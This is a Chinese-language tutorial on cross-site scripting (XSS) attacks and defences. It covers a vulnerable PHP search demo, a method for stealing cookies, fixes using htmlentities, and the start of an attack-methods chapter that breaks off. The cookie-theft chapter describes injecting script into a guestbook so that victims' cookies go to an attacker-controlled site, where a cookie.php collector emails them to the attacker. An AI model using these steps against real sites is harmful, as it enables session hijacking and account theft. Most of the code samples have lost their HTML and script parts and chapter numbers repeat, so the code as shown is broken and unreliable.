文章目录
XSS攻击与防范指南... 1 第一章、XSS的定义... 1 第二章、XSS漏洞代码... 1 第三章、利用XSS盗取cookies. 3 第四章、防范XSS漏洞... 4 第四章、XSS攻击方法... 4 第六章、利用Flash进行XSS攻击... 6 第七章、上传文件进行XSS攻击... 7 第八章、利用XSS漏洞进行钓鱼... 7
第一章、XSS的定义 从Wikipedia搜索跨站脚本,解释到跨区脚本(Cross-zone Scripting或者Cross Site Scripting)是指浏览器利用浏览器一些有漏洞的安全解决方案,这种攻击使没有权限跨站脚本在未经授权的情况下以较高的权限去执行,脚本的执行权限被客户端(Web浏览器)扩大升级了。 这些XSS跨站脚本漏洞可能是: *网页浏览器设计缺陷使得在一定的条件下,一个站点完全信任另外一个高权限的站点(或者连个高低权限区域)并去执行高权限站点的脚本。 *网页浏览器配置错误,把不安全的网站放在浏览器高信任列表。 *信任站点(特权区域)存在跨站脚本漏洞 一般的跨站脚本攻击包含两个步骤。首先是利用跨站脚本漏洞以一个特权模式去执行攻击者构造的脚本,然后利用不安全的ActiveX控件执行恶意的行为。通常在安静模式让计算机浏览攻击者指定的网页悄悄下载安装各种恶意代码,如间谍软件、木马软件、蠕虫等。 第二章、XSS漏洞代码 打开记事本,复制下面的代码到几时本中: Simple XSS vulnerability by Xylitol 然后,保存这个页面为index.html。并去复制下面的代码到记事本: Search result: Search result : 保存为Xss.php,关闭记事本。用firefox打开index.html,在搜索框里面输入一串字符串正常搜索,回车。然后重新在搜索框里输入,单击发送。这时候页面会弹出一个提示窗口。这就是跨站脚本漏洞。 第三章、利用XSS盗取cookies 在一个有漏洞的页面插入下面的代码,例如一个留言本里 (www.Hax0r.com = 攻击者的网站) 用记事本新建文件: cookie.php,把下面的代码拷贝到文件里来。 Error mail('email@example.com', 'Cookie stealed ! - thx xyli :)', $cookies); ?>
Error - Access denied for echo $_SERVER["REMOTE_ADDR"]; ?>
这样是仅仅不够的,还要去等待收到电子邮件,阅读读盗取到的cookie。 第四章、防范XSS漏洞 如何修复这个漏洞呢? 我们可以使用htmlentities函数来修复这个漏洞。在替换上面的XSS.php第16行: Search result : 为: Search result : if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?> 还可以使用php的内置函数htmlspecialchars(),还有其他函数htmlentities()、strip_tags()等。 第四章、XSS攻击方法 利用XSS进行攻击是一件相当简单的事情,这里主要讲几种攻击方式…… flash: |